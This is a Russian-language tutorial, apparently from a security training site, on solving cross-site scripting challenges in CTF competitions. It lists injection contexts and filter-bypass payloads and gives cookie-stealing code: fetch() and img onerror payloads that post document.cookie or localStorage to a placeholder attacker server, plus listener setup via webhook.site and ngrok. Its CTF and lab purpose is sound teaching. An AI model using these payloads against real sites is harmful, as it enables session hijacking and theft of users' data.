
Полгода назад на CTF среднего уровня мне попалась веб-задача с тремя слоями фильтрации: блеклист тегов, удаление on*-атрибутов и экранирование угловых скобок в одном из параметров. Два часа перебора пейлоадов — а решение уместилось в 27 символов через непокрытый контекст атрибута. Вот она, разница между «знаю, что такое Cross-Site Scripting» и «решаю XSS-задачи на CTF за 15 минут»: системное понимание контекстов инъекции и цепочки от первого alert(1) до реальной эксфильтрации куки бота.
Межсайтовый скриптинг в CTF делится на три категории, и каждая требует отдельного подхода к обнаружению и эксплуатации. Путаница между ними — причина 80% потерянного времени на соревнованиях. Разберёмся. Подробнее — в нашем руководстве по пентест веб-приложений.
Reflected XSS — пейлоад передаётся через параметр URL или тело запроса и отражается в ответе сервера без сохранения. В CTF это задачи, где нужно заставить бота перейти по специально сформированной ссылке (Malicious Link, T1204.001, Execution). Классический сценарий: страница поиска, которая выводит «Результаты для: ваш_запрос» без экранирования. Атака укладывается в один HTTP-запрос — кидаете URL боту, тот открывает страницу, пейлоад срабатывает. По моему опыту на HackerOne, примерно каждый третий веб-репорт связан с отражённой инъекцией в параметрах — reflected XSS до сих пор живее всех живых.
Stored XSS — пейлоад сохраняется на сервере и срабатывает у каждого, кто загружает страницу. В CTF это комментарии в гостевой книге, поля профиля, тикеты поддержки. По классификации OWASP (A03:2021 — Injection) — самый опасный тип XSS в реальных приложениях. В CTF он встречается чаще всего по простой причине: не нужно убеждать бота кликнуть по ссылке — он просто заходит на страницу с вашим пейлоадом. В writeup'е на Codeby по задаче HackerLab описан характерный кейс — stored XSS через заголовок User-Agent, который записывался в логи и отображался в панели администратора. Поле ввода, о котором разработчик просто забыл.
DOM-based XSS — пейлоад обрабатывается исключительно клиентским JavaScript без участия сервера. Данные попадают из «источника» (location.hash, location.search, document.referrer) в «приёмник» вроде innerHTML, document.write() или eval(). С точки зрения сервера ничего подозрительного не происходит — и в этом вся прелесть. В CTF задачи с DOM-based XSS маскируются под клиентские SPA-приложения, где роутинг идёт через hash-фрагмент URL.
Для CTF критично: тип XSS определяет не сам пейлоад, а способ доставки и хранения. Один и тот же <img src=x onerror=alert(1)> может быть и reflected, и stored — зависит от того, сохраняется ли он на сервере.
[Применимо: CTF веб-категория, bug bounty — внешний пентест]
XSS-задачи в CTF укладываются в чёткую kill chain, которая повторяется из соревнования в соревнование:
В большинстве CTF-задач шаг 5 — это получение флага: подставляете украденную куки в свой браузер, открываете страницу от имени администратора, читаете флаг. Реже флаг спрятан в самих куки или доступен через CSRF-запрос от имени бота.
Зачем понимать цепочку целиком? Вы заранее готовите listener для приёма данных, шаблон пейлоада для эксфильтрации и механизм подстановки куки — остаётся адаптировать только часть инъекции под конкретную задачу. Экономия — десятки минут на каждом таске.
javascript: в адресной строке)python3 -m http.server + ngrokdocker run --rm -it -p 80:80 vulnerables/web-dvwaШаг 1 — поиск отражения. Вставляете уникальную строку (например, xsstestcb2025) в каждый параметр: GET, POST, заголовки User-Agent, Referer, Cookie. Ищете эту строку в исходном коде ответа через Ctrl+U в браузере или через Burp Repeater. Каждое место, где строка отразилась — потенциальная точка инъекции.
Шаг 2 — определение контекста. Контекст отражения определяет пейлоад. Вот основные варианты:
| Контекст | Пример в коде | Стратегия выхода |
|---|---|---|
| Содержимое HTML-тега | <div>ВВОД</div> |
Вставить тег: <img src=x onerror=alert(1)> |
| Значение атрибута | <input value="ВВОД"> |
Закрыть атрибут: " onfocus=alert(1) autofocus x=" |
Внутри <script> |
var a = 'ВВОД'; |
Закрыть строку: '; alert(1); // |
Внутри <textarea> |
<textarea>ВВОД</textarea> |
Закрыть тег: </textarea><img src=x onerror=alert(1)> |
Шаг 3 — проба фильтров. Отправляете строку '"<>(){}[];/\ и смотрите, что проходит, а что кодируется или удаляется. Если < и > превращаются в < и > — HTML-инъекция закрыта, но инъекция в контексте атрибута или скрипта может быть открыта. Удаляется слово script? Пробуете регистровые вариации, двойную запись или альтернативные теги.
Шаг 4 — формирование URL. Для reflected XSS формируете URL с пейлоадом и отправляете его боту через механизм задачи (форма «Report URL» или «Send link to admin»).
Типовая ошибка новичков — начинать с <script>alert(1)</script>. Этот пейлоад не работает при клиентской вставке через innerHTML, потому что inline-скрипты не выполняются после загрузки DOM. Надёжнее <img src=x onerror=alert(1)> — браузер пытается загрузить несуществующее изображение и немедленно вызывает обработчик ошибки. Согласно Practical CTF (Jorian Woltjer), этот пейлоад работает во всех браузерах при любом способе вставки, включая Firefox при клиентской вставке — единственный вариант, где голый <script> отказывает повсеместно.
В CTF со stored XSS типовой сценарий: веб-приложение с функцией комментариев, симулированный пользователь-бот периодически просматривает все записи. Задача — разместить пейлоад, который при просмотре ботом отправит его куки на ваш сервер.
Бот — headless-браузер (Puppeteer, Selenium или кастомный на базе Chrome DevTools Protocol), который загружает страницу с вашим комментарием. У бота установлена куки с флагом или сессия с доступом к защищённой странице. Шаблон для создания таких ботов доступен в репозитории CTF-XSS-BOT (dimasma0305/CTF-XSS-BOT на GitHub) — полезно, если хотите понять механику с другой стороны.
Цепочка эксплуатации:
document.cookie и отправляет значение на ваш сервер через HTTP (Exfiltration Over C2 Channel, T1041)Самый простой вариант — webhook.site: открываете сервис, получаете уникальный URL вида https://webhook.site/ваш-uuid, любой запрос к нему автоматически логируется. Никакой настройки, работает из коробки.
Если CTF-площадка блокирует внешние домены, поднимаете локальный сервер и пробрасываете через ngrok:
# Терминал 1: HTTP-сервер, логирующий входящие запросы
python3 -m http.server 8888
# Терминал 2: пробрасываем наружу
ngrok http 8888
Ngrok выдаст публичный URL — его используете в пейлоаде. В access-логе Python увидите запросы с данными.
Подход из лабораторной работы PortSwigger по краже куки: вместо document.location или new Image().src используется fetch() с POST-запросом. Надёжнее, потому что не триггерит навигацию и не обрывает выполнение скрипта:
<script>
fetch('https://ВАШ-СЕРВЕР', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
Параметр mode: 'no-cors' критичен: без него браузер заблокирует кросс-доменный запрос. С no-cors запрос уйдёт, а ответ нам не нужен — нужен только факт доставки данных.
Если фильтр блокирует тег <script>, эквивалент через <img>: вставляете <img src=x onerror="fetch('https://ВАШ-СЕРВЕР',{method:'POST',mode:'no-cors',body:document.cookie})">. Та же функциональность, контекст выполнения — обработчик события, а не inline-скрипт.
После получения куки открываете DevTools → Application → Cookies, создаёте запись с полученным именем и значением для домена задачи. Обновляете страницу — вы залогинены как бот. По данным F5 community, в реальных сценариях после перехвата сессии администратора атакующий закрепляется через создание дополнительных аккаунтов или загрузку веб-шелла. В CTF хватает зайти на /admin или /flag.
DOM XSS стоит особняком: пейлоад никогда не покидает клиент. Сервер возвращает одну и ту же страницу — разница в том, что JavaScript на ней небезопасно обрабатывает данные из URL.
| Источник (source) | Приёмник (sink) | Где встречается в CTF |
|---|---|---|
location.hash |
innerHTML |
SPA с навигацией по хешу |
location.search |
document.write() |
Страница с приветствием по имени |
document.referrer |
eval() |
Аналитический скрипт |
window.name |
innerHTML |
Кросс-доменная передача данных |
postMessage |
innerHTML |
Межфреймовое взаимодействие |
Типовая задача: на странице есть JavaScript document.getElementById('output').innerHTML = decodeURIComponent(location.hash.slice(1)). Хеш-фрагмент URL напрямую вставляется в DOM без санитизации. Пейлоад: http://target.com/page#<img src=x onerror=alert(document.cookie)>.
И вот тут ключевое отличие от reflected XSS: хеш-фрагмент (часть URL после #) не отправляется серверу. Серверные WAF и фильтры бессильны — обработка идёт целиком в браузере. В CTF это подсказка: если серверная фильтрация выглядит непробиваемой, копайте клиентский JavaScript на DOM-синки.
Поиск DOM XSS. Открываете исходный код и ищете паттерны: innerHTML, outerHTML, document.write, eval(), setTimeout() с пользовательскими данными в аргументе. В DevTools Chrome вкладка Sources позволяет поставить breakpoint на модификацию DOM (правый клик по элементу в Inspector → Break on → Subtree modifications). Быстрее, чем читать весь JavaScript вручную.
Фильтрация — то, что делает XSS-задачи интересными. Голый <script>alert(1)</script> проходит только на начальном уровне сложности. Дальше начинается игра.
Когда фильтр удаляет конкретные теги (script, img, svg), работают несколько стратегий.
Двойная запись. Если фильтр делает однократный проход и удаляет <script>, конструкция <scr<script>ipt>alert(1)</scr</script>ipt> после фильтрации превращается в рабочий <script>alert(1)</script>. Трюк описан в «Курсе молодого CTF бойца» (cybber.ru) и работает на удивительном количестве задач до сих пор. Казалось бы, 2025 год — а однопроходные фильтры никуда не делись.
Альтернативные теги. Полный перечень HTML-элементов с обработчиками событий — на PortSwigger XSS Cheat Sheet (portswigger.net/web-security/cross-site-scripting/cheat-sheet). Там можно отфильтровать по конкретному тегу и увидеть допустимые события. Менее очевидные варианты: <details open ontoggle=alert(1)>, <marquee onstart=alert(1)>, <body onload=alert(1)>. Если фильтр проверяет фиксированный список — всегда найдётся тег вне его.
Пропуск закрывающей скобки. Регулярные выражения фильтров часто ожидают <[^>]+>. Без > в конце тег всё равно работает — следующий тег в документе закроет его за вас: <img src=x onerror=alert(1) (без завершающего >). Браузер парсит HTML очень лояльно. Слишком лояльно.
HTML-entities в атрибутах. Внутри значений атрибутов браузер декодирует HTML-сущности перед выполнением. Пейлоад <img src=x onerror="alert(1)"> обойдёт фильтр, ищущий строку alert, потому что a — закодированная буква a. На выходе браузер получит alert(1).
Двойное URL-кодирование. Строка %253Cscript%253E (%25 кодирует %) срабатывает, когда сервер декодирует URL дважды — ситуация, характерная для PHP-приложений с middleware-цепочками. В CTF такую фильтрацию легко распознать: обычное URL-кодирование не проходит, но двойное — да.
JavaScript без скобок. Если фильтр блокирует круглые скобки, используется шаблонный литерал: alert`1` вместо alert(1). Для более сложных конструкций — onerror=alert с передачей аргумента через контекст ошибки, или location=name в связке с window.name, заданным на странице атакующего.
Самый частый паттерн в CTF средней сложности — инъекция в значение атрибута: <input value="ВВОД">. Если < и > экранируются, но кавычки нет — нельзя вставить новый тег, зато можно добавить атрибут: " autofocus onfocus="alert(1). Результат: <input value="" autofocus onfocus="alert(1)">. Атрибут autofocus заставляет элемент получить фокус автоматически, что триггерит onfocus без взаимодействия пользователя. Красиво.
Для контекста внутри <script>: если ввод попадает в JavaScript-строку var name = 'ВВОД';, классический выход — '; alert(1); //. Точка с запятой закрывает оператор, // комментирует остаток строки. Синтаксическая ошибка в JavaScript обрушит весь блок скрипта — поэтому важно «починить» код после инъекции.
Функция htmlspecialchars() в PHP с флагом ENT_QUOTES кодирует <, >, ", ' и & — в контексте HTML-тега это практически непробиваемая защита. CSP с директивой script-src 'self' без 'unsafe-inline' блокирует все inline-скрипты даже при успешной HTML-инъекции. DOMPurify в актуальных версиях не имеет публичных байпасов общего назначения.
Если в задаче встретили эти защиты — решение лежит не в классическом XSS. Ищите логическую уязвимость приложения, обход CSP через JSONP-эндпоинт на том же домене или эксплуатацию тега <base> для подмены базового URL загрузки скриптов. Я на этом моменте обычно переключаюсь с перебора пейлоадов на чтение исходников — быстрее находишь нестандартный вектор.
Сводка всей цепочки для типового CTF-сценария со stored XSS:
<b>test</b> — если текст жирный, HTML-инъекция работает. Видите <b> — экранирование, ищете другое поле. Некоторые задачи экранируют очевидные поля (текст комментария), но оставляют уязвимыми менее ожидаемые: имя пользователя, заголовок User-Agentpython3 -m http.server + ngrokfetch() с mode: 'no-cors' — см. код выше. При блокировке <script> используете обход через альтернативный тегdocument.cookieФлаг не всегда в куки. Варианты:
localStorage: пейлоад fetch('https://ВАШ-СЕРВЕР?d='+btoa(JSON.stringify(localStorage))) — кодирует содержимое хранилища в Base64 и отправляетfetch('/admin/flag'), затем пересылка ответа<iframe src=file:///flag.txt></iframe> — серверный рендер читает локальный файл. Именно этот вектор описан в разборе задачи root-me.org «XSS - Server Side»HttpOnly. Куки с этим флагом недоступна через document.cookie. По OWASP (A07:2021 — Identification and Authentication Failures), отсутствие HttpOnly — уязвимость, и современные фреймворки ставят его по умолчанию. В CTF задачах с HttpOnly меняете стратегию: вместо кражи куки выполняете действие от имени бота — CSRF-запрос к /admin/flag с пересылкой ответа.
Content Security Policy. Заголовок script-src 'self' запрещает inline-скрипты и подключение внешних ресурсов. Обход CSP — отдельная большая тема: JSONP-эндпоинты, подмена base-uri, template injection через Angular/React. В CTF уровня easy-medium CSP встречается редко, но на hard — постоянно.
SameSite cookies. SameSite=Strict ограничивает отправку куки при кросс-доменных запросах. Для stored XSS это не проблема (пейлоад на том же домене), но для reflected — может стать блокером, если бот переходит по ссылке с внешнего домена.
Сетевая изоляция. Некоторые CTF-площадки запрещают исходящие соединения из контейнера. Эксфильтрация через внешний сервер невозможна. Решение: заставить бота оставить данные внутри приложения — опубликовать комментарий с куки через XSS+CSRF или изменить видимый контент страницы. Изобретательность тут решает.
Для практики берите DVWA — стандартный тренажёр с уровнями Low, Medium и High для reflected, stored и DOM XSS. Установка одной командой: docker run --rm -it -p 80:80 vulnerables/web-dvwa, логин admin:password. Каждый уровень добавляет слой фильтрации. Low — без защиты. Medium — блеклист тегов. High — серьёзная санитизация с обходом через нестандартный контекст. На бумаге формула понятна, но bypass по-настоящему ощущается только когда сами прогоняете пейлоады и видите, что <script> молча исчезает, а <details ontoggle> проходит.
Для полноценной отработки cookie stealing поднимите второй контейнер с Flask-приложением, хранящим флаг в куки бота, и используйте Puppeteer как симуляцию. Шаблон XSS-бота для создания задач есть в репозитории CTF-XSS-BOT на GitHub (dimasma0305/CTF-XSS-BOT) — можно развернуть собственную задачу с ботом и тренироваться на полной цепочке от инъекции до перехвата сессии.
Мой главный вывод после сотни решённых XSS-задач: большинство CTF-игроков зависают не на самом пейлоаде, а на этапе определения контекста. Вставляют <script>alert(1)</script> в поле, где ввод попадает в атрибут value="", и не понимают, почему ничего не происходит. Контекст определяет всё — тег, атрибут, JavaScript-строка, URL — и под каждый нужен свой выход. Натренируйте глаз на идентификацию контекста до отправки первого пейлоада — время решения сократится в разы.
Вторая системная проблема — игнорирование полной цепочки. XSS в CTF — это не alert(1), а инъекция → выполнение → эксфильтрация → импакт. Я не раз видел, как команды получают всплывающее окно и считают задачу почти решённой, а потом ещё час бьются с отправкой куки, потому что в значении есть спецсимволы, ломающие URL. Решение: заранее собрать универсальный шаблон эксфильтрации (fetch + mode: 'no-cors' + ваш listener) и адаптировать только входную часть под конкретный фильтр. Если хочешь не просто решать задачи по writeup'ам, а пройти весь веб-вектор от разведки до захвата сессии самостоятельно — на WAPT эту цепочку разбирают с лабой на каждый кейс.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...